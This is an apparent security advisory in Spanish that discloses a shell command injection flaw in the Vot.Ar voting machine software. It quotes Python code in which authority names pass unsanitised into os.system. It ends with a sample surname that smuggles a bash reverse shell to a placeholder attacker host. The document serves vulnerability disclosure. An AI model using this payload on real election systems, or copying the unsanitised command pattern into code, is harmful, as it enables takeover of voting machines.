Inyección de comandos en Vot.Ar

Por Alfredo Ortega.


Vulnerabilidad de inyección de comandos de shell en código de maquina de votación Vot.ar de empresa MSA.

Descripción

Ejecución de código vía inyección de comandos en el apellido y nombre de autoridad de mesa al imprimir código QR. Código disponible en https://github.com/prometheus-ar/vot.ar

1. La función a_qr_str() de la clase Apertura() devuelve una lista separada por comas de los nombres de autoridades.

  • msa/core/clases.py, linea 190:

def a_qr_str(self):
"""Devuelve la informacion del recuento para almacenar en qr."""
for autoridad in self.autoridades:
dato = ",".join((autoridad.apellido, autoridad.nombre,
str(autoridad.nro_documento)))
datos.append(dato)
return ";".join(datos)

2. La función a_qr() envía esos datos a la función vulnerable crear_qr().

  • msa/core/clases.py, linea 206:

def a_qr(self):
datos = self.a_qr_str()
return crear_qr(datos)

3. La función crear_qr() no sanitiza la entrada y ejecuta en un shell los datos:

  • msa/core/qr.py, linea 13:

def crear_qr(datos):
'''Genera una imagen con codigo qr de los datos recibidos.'''
...
tmpl_comando = u'qrencode -o %s -s%s -m0 -l%s "%s"'
comando = tmpl_comando % (temp_path, unicode(QR_PIXEL_SIZE), QR_ERROR_LEVEL,
u''.join(datos))
...
os.system(comando)

Ejemplo de nombre de autoridad de mesa que ejecuta un reverse shell:

Nombre: Juan Domingo
Apellido: Peron;/bin/bash -i >& /dev/tcp/ATTACKIP/31337 0>&1'